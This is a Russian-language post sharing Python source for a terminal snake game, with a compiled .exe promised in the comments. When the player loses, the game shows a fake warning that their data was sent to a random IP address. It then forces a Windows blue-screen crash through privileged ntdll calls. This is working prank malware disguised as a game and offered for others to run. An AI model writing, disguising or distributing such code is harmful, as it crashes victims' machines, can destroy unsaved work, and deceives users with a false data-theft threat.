Код змеи (в комменты кину .exe), естественно, самое опасное там BSOD, ибо никакого стиллера внутри нет, IP генерируется случайно)



import ctypes

import curses

from random import randint

import time



def generate_food(max_y, max_x, snake):

while True:

food = [randint(1, max_y - 2), randint(1, max_x - 2)]

if food not in snake:

return food



def trigger_bsod():

ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, ctypes.byref(ctypes.c_bool()))

ctypes.windll.ntdll.NtRaiseHardError(

0xC000021A, 0, 0, 0, 6, ctypes.byref(ctypes.c_uint())

)



def main(stdscr):

curses.curs_set(0)

stdscr.nodelay(1)

stdscr.timeout(50)



max_y, max_x = stdscr.getmaxyx()



snake = [[5, 10], [5, 9], [5, 8]]

direction = curses.KEY_RIGHT

food = generate_food(max_y, max_x, snake)

stdscr.addch(food[0], food[1], "*")



while True:

key = stdscr.getch()

if key in [curses.KEY_RIGHT, curses.KEY_LEFT, curses.KEY_UP, curses.KEY_DOWN]:

direction = key



head = snake[0][:]

if direction == curses.KEY_RIGHT:

head[1] += 1

elif direction == curses.KEY_LEFT:

head[1] -= 1

elif direction == curses.KEY_UP:

head[0] -= 1

elif direction == curses.KEY_DOWN:

head[0] += 1



if (

head in snake

or head[0] < 0

or head[1] < 0

or head[0] >= max_y

or head[1] >= max_x

):

break



snake.insert(0, head)

if head == food:

food = generate_food(max_y, max_x, snake)

stdscr.addch(food[0], food[1], "*")

else:

tail = snake.pop()

stdscr.addch(tail[0], tail[1], " ")



stdscr.addch(head[0], head[1], "#")



stdscr.clear()

stdscr.addstr(max_y // 2 - 1, max_x // 2 - 10, "Вы проиграли!")

stdscr.addstr(max_y // 2, max_x // 2 - 20, f"Ваши данные переданы на IP: {randint(1, 255)}.{randint(0, 255)}.{randint(0, 255)}.{randint(1, 255)}")

stdscr.addstr(max_y // 2 + 1, max_x // 2 - 15, "Твоей системе конец через 5 секунд...")

stdscr.refresh()

time.sleep(5)



trigger_bsod()



if __name__ == "__main__":

curses.wrapper(main)